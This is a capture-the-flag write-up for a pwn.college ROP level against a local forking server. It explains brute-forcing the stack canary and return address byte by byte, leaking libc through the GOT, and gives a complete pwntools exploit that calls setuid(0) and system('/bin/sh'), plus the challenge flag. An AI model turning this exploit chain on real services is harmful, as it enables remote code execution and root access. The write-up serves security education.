(ROP) level 14
Information
- category: pwn
Description
Perform ROP against a network forkserver!
Write-up
Connecting to the Challenge
When you connect to the server at 127.0.0.1
on port 1337
using nc
, you’ll notice that the program waits for input but gives no immediate output:
1
2
3
4
nc 127.0.0.1 1337
ABCD
Leaving!
### Goodbye!
Protections in Place The binary has multiple protections enabled:
- ✅ PIE (Position Independent Executable)
- ✅ Stack Canary
- ✅ ASLR (Address Space Layout Randomization)
There’s no direct leak, so we need to bypass all of them in order to build a successful exploit.
1
2
3
4
5
6
7
8
9
10
checksec babyrop_level14.1
[*] '/home/k1k0/Desktop/program-security-dojo/return-oriented-programming/level-14-1/_0/babyrop_level14.1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Brute-Forcing the Stack Canary Since the program is running as a forking server and allows unlimited reconnections, we can brute-force the stack canary one byte at a time.
This method works because:
- The canary is at a fixed offset from the input buffer.
- The server forks a new process for each connection, so even if we crash one, the next attempt is fresh.
- We can reuse the crash information to determine which byte guess was correct.
This method is reliable as long as the process resets and the canary stays consistent between forks.
We’ll use pwndbg
to determine this offset by:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Thread 2.1 "babyrop_level14" hit Breakpoint 1, 0x000056657562d90a in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────
RAX 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
RBX 0x56657562db30 (__libc_csu_init) ◂— endbr64
RCX 0x7ffef67533b8 —▸ 0x7ffef6754224 ◂— '/challenge/babyrop_level14.1'
RDX 0x1000
RDI 0
RSI 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
R8 0
R9 0x75157d625540 ◂— 0x75157d625540
R10 0x75157d625810 ◂— 0x33a5
R11 0x246
R12 0x56657562d240 (_start) ◂— endbr64
R13 0x7ffef67533b0 ◂— 1
R14 0
R15 0
RBP 0x7ffef6753260 —▸ 0x7ffef67532c0 ◂— 0
RSP 0x7ffef6753200 —▸ 0x566575630010 (stdout@@GLIBC_2.2.5) —▸ 0x75157d61f6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
RIP 0x56657562d90a (challenge+55) ◂— call 0x56657562d1c0
──────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────
► 0x56657562d90a <challenge+55> call read@plt <read@plt>
fd: 0 (socket:[677344362])
buf: 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
nbytes: 0x1000
──────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────
► 0 0x56657562d90a challenge+55
1 0x56657562dafe main+457 <--- Ret addrr
2 0x75157d456083 __libc_start_main+243
3 0x56657562d26e _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i f
Stack level 0, frame at 0x7ffef6753270:
rip = 0x56657562d90a in challenge; saved rip = 0x56657562dafe
called by frame at 0x7ffef67532d0
Arglist at 0x7ffef6753260, args:
Locals at 0x7ffef6753260, Previous frame's sp is 0x7ffef6753270
Saved registers:
rbp at 0x7ffef6753260, rip at 0x7ffef6753268
pwndbg> dist $rsi $rbp-0x8
0x7ffef6753230->0x7ffef6753258 is 0x28 bytes (0x5 words)
pwndbg> dist $rsi 0x7ffef6753270
0x7ffef6753230->0x7ffef6753270 is 0x40 bytes (0x8 words)
pwndbg>
This offset tells us exactly how many bytes to send before reaching the canary.
Brute-Forcing the Return Address to Bypass PIE We already leaked or brute-forced the stack canary, and now we want to find the full return address on the stack to bypass PIE (Position Independent Executable). From the program behavior, we know:
- The return address points to
main+457
, for example:1
0x56657562dafe
When the correct return address is in place, the program prints
"Goodbye"
— this gives us clear feedback during brute-forcing.- PIE randomizes the base address of the binary every run.
- But if we know the address of
main+457
, and we know the offset ofmain
from the ELF base, we can calculate the base address like this:1
elf_base = leaked_ret_address - offset_of_main_plus_457
This technique allows us to defeat PIE without a memory leak — just behavior-based brute force.
Leaking the Libc Base Address Now that we’ve recovered:
- ✅ The PIE base address (by brute-forcing the return address and subtracting the known offset of
main+457
) - ✅ The stack canary
We’ll use the GOT (Global Offset Table) to leak the actual address of a libc function. For example, we can print the address of __libc_start_main
from the GOT:
1
puts(@GOT[__libc_start_main])
Once we leak the runtime address of __libc_start_main
, we simply subtract its known offset from libc (e.g. 0x24083
):
1
libc_base = leaked_libc_start_main - libc.symbols['__libc_start_main']
Use
puts(@got[func])
to leak any libc symbol, then resolve the full libc base from it.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
canary_offset = 0x28
ret_offset = 0x38
def brute_canary():
fixed = b"\x00"
canary = fixed
while len(canary) < 0x8:
for byte in range(0x0,0xff):
with remote("127.0.0.1",1337) as p:
payload = b"A"*canary_offset + canary + p8(byte)
p.send(payload)
res = p.recvall(timeout=1)
if b"*** stack smashing detected ***" not in res:
canary += p8(byte)
break
return canary
def brute_ret(canary):
ret = b"\xfe"
while len(ret) < 0x6:
for byte in range(0,0x100):
r = remote("127.0.0.1",1337)
payload = b"A"*canary_offset + canary + b"A"*8 + ret + p8(byte)
r.send(payload)
res = r.recvall(timeout=3)
r.close()
if b"### Goodbye!" in res:
ret += p8(byte)
break
return ret
def leak_base(canary, ret):
offset_main = 0x1afe # from symbol main+457
offset__libc_start_main = 0x23f90
elfbase = u64(ret.ljust(8,b"\x00")) - offset_main
elf = context.binary = ELF("/challenge/babyrop_level14.1")
elf.address = elfbase
rop = ROP(elf)
log.success(f"ELF Base: {hex(elfbase)}.")
payload = flat(
b"A"*canary_offset,
canary,
b"B"*8,
rop.rdi.address,
elf.got['__libc_start_main'],
elf.symbols['puts']
)
while True:
r = remote("127.0.0.1",1337)
r.send(payload)
res = r.recvall(timeout=2)
if (b"Leaving!" in res) and (b"*** stack" not in res):
leak = res.strip().split(b"\n")[1]
libcbase = u64(leak.ljust(8,b"\x00")) - offset__libc_start_main
log.success(f"libc base: {hex(libcbase)}.")
return libcbase
def send_payload(canary, libcbase):
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
lib.address = libcbase
rop = ROP(lib)
payload = flat(
b"A"*canary_offset,
canary,
b"B"*8,
rop.ret.address,
rop.rdi.address,
0,
lib.symbols['setuid'],
rop.ret.address,
rop.rdi.address,
next(lib.search(b"/bin/sh\x00")),
lib.symbols["system"]
)
r = remote("127.0.0.1",1337)
r.send(payload)
r.interactive()
def attack():
try:
canary = brute_canary()
ret = brute_ret(canary)
log.success(f"Canary: {canary}.")
log.success(f"(main+457): {ret}.")
libcbase = leak_base(canary, ret)
send_payload(canary, libcbase)
except Exception as e:
log.warning(f"Fail: {e}")
def main():
attack()
if __name__ == "__main__":
main()
Flag
Flag:
pwn.college{H1EnE_SALGQDMhB1PSrD81fMDL5.dZTcSSXsM0TNxgzW}